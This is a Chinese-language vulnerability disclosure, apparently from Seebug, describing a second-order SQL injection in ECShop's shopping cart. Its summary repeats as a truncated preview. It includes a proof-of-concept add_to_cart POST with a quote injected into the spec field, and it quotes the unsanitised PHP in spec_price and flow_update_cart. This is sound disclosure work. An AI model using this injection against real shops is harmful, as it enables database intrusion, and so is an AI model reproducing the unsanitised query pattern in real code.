### 简要描述: 二次注入第一枚,通读ecshop代码的结果,我是今天早上从ecshop新下的程序包,你懂的~ ### 详细说明: 先上结果图: [<img src="https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png" alt="QQ20130620-6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png) 注入利用过程: 1.添加商品到购物车时,写入注入代码到商品属性id http://localhost/test/ecshop/flow.php?step=add_to_cart POST: goods={"quick":1,"spec":["163","158'"],"goods_id":32,"number":"1","parent":0} 注意,需要spec有两个或以上id 2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了) 代码分析: 1./includes/lib_goods.php 942行 ``` function spec_price($spec) { if (!empty($spec)) { $where = db_create_in($spec, 'goods_attr_id'); //这里是注入位置,能控制$spec就可以了 $sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . " WHERE $where"; $price = floatval($GLOBALS['db']->getOne($sql)); } else { $price = 0; } return $price; } ``` 2./includes/lib_common.php 2266行get_final_price有spec_price的调用...
### 简要描述: 二次注入第一枚,通读ecshop代码的结果,我是今天早上从ecshop新下的程序包,你懂的~ ### 详细说明: 先上结果图: [<img src="https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png" alt="QQ20130620-6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png) 注入利用过程: 1.添加商品到购物车时,写入注入代码到商品属性id http://localhost/test/ecshop/flow.php?step=add_to_cart POST: goods={"quick":1,"spec":["163","158'"],"goods_id":32,"number":"1","parent":0} 注意,需要spec有两个或以上id 2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了) 代码分析: 1./includes/lib_goods.php 942行 ``` function spec_price($spec) { if (!empty($spec)) { $where = db_create_in($spec, 'goods_attr_id'); //这里是注入位置,能控制$spec就可以了 $sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . " WHERE $where"; $price = floatval($GLOBALS['db']->getOne($sql)); } else { $price = 0; } return $price; } ``` 2./includes/lib_common.php 2266行get_final_price有spec_price的调用 3.再看get_final_price方法的调用 在ecshop/flow.php flow_update_cart方法,2272行 ``` /* 处理普通商品或非优惠的配件 */ else { $attr_id = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); //看,$attr_id是读取的购物车商品的goods_attr_id字段,所以只要在添加商品到购物车时写入注入代码就可以了 $goods_price = get_final_price($goods['goods_id'], $val, true, $attr_id); //更新购物车中的商品数量 $sql = "UPDATE " .$GLOBALS['ecs']->table('cart'). " SET goods_number = '$val', goods_price = '$goods_price' WHERE rec_id='$key' AND session_id='" . SESS_ID . "'"; } ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png" alt="QQ20130620-6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201306/2016231791ef808a82b34fe58d329690b313abb5.png)